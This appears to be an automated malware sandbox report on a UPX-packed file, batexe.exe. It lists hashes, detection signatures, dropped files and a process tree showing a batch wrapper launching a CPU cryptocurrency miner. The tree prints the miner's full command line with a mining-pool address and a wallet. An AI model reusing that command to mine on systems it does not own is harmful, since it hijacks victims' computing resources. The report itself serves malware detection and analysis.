73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
300s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
11-02-2024 19:43

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2216	b2e.exe
1832	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1832	cpuminer-sse2.exe
1832	cpuminer-sse2.exe
1832	cpuminer-sse2.exe
1832	cpuminer-sse2.exe
1832	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2768-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2768 wrote to memory of 2216	2768	batexe.exe	75
PID 2768 wrote to memory of 2216	2768	batexe.exe	75
PID 2768 wrote to memory of 2216	2768	batexe.exe	75
PID 2216 wrote to memory of 4528	2216	b2e.exe	76
PID 2216 wrote to memory of 4528	2216	b2e.exe	76
PID 2216 wrote to memory of 4528	2216	b2e.exe	76
PID 4528 wrote to memory of 1832	4528	cmd.exe	79
PID 4528 wrote to memory of 1832	4528	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2768
- C:\Users\Admin\AppData\Local\Temp\9412.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9412.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9412.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2216
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9625.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4528
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9412.tmp\b2e.exe

Filesize
13.8MB

MD5
61886b50887e3d2df383cc576fbed142

SHA1
16104ca0c52c7570cb9a201bc42a5a2b71620af9

SHA256
d414f7c759413933321e63e6882dcc58693cb58e08ac25591d5bb50956ef1d8c

SHA512
f80b4a7c4a8e2aeabbab6c97d3fb3e9973a1d70e08a56bec42cdf54c86fbb7bf8af4e3b785fd39a88750daff2bc8598ec4eb0850d6b569ee3408c6cd14b261d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\9412.tmp\b2e.exe

Filesize
13.9MB

MD5
232af259c901665de8f6056751b0f092

SHA1
5240e6778052bba5992585dff432f021379ff594

SHA256
7d2baab64aadadbe805ced570940fbf186d2fcaa1b7982a01a6563c070cae80b

SHA512
76a0e3610791d7fd174e6a6d9ea723d53a64d3a44971d23e88f051278b9335d7e201e6e3875880d8b4284024709999d3d9b669dd9b0039b03dab214b3885dd3f

Download Submit
C:\Users\Admin\AppData\Local\Temp\9625.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
11.8MB

MD5
4b4dcaf31df6133d84b301df2b52dc65

SHA1
1fbbab2c8d0bbb1d7fb876cd75eea4d28450092c

SHA256
002234396004a55f2aa19f7812e9d5ca10a67a0435fd0b46f6f3d7465d298869

SHA512
2385429c90575b9aab93d159d5add0ad48315f0122017350fb3927378b0f2324f57973eb3b471d45a97e51ca7576bb3f3315e741ed57902dc7f288830077a243

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
11.8MB

MD5
96baa237825e616e04a9e16bd2a2d122

SHA1
1d9212d5c81bfc87dcfa225fdb47cfb0efa9f41e

SHA256
d66266467ac2c9b70cb0c0e637d87fda5b4383d4897cf6b9e6108b70a3f046b7

SHA512
1b9b5ce04d089ad469bdb68de915bb64a08cc378c7e37bb6b07f64efc3a51e46ae6b141500cf435fde58c0318bcc88215b335293c796de5b9b14abf634770e6f

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.4MB

MD5
6b3273e60f024fd72917c51540a9d6bb

SHA1
047f5498473c6dd20ba51695a475a38e25b705d2

SHA256
b0e32d234af8e52b8af11d64d34aab64c369771e9cad95a077773d36035a522d

SHA512
b02270b8501dbfcfcc010123020e21e0f861884c77e45f4d7469d58a1b7417e9f289ff18d158f22825cd724218545aaa915bbb5b5174a03eb8180980e817ba94

Download Submit
memory/1832-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1832-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1832-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1832-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1832-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1832-43-0x000000006DD80000-0x000000006DE18000-memory.dmp

Filesize
608KB

Download
memory/1832-44-0x0000000001110000-0x00000000029C5000-memory.dmp

Filesize
24.7MB

Download
memory/1832-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1832-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1832-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1832-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1832-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1832-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1832-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1832-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2216-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2216-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2768-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download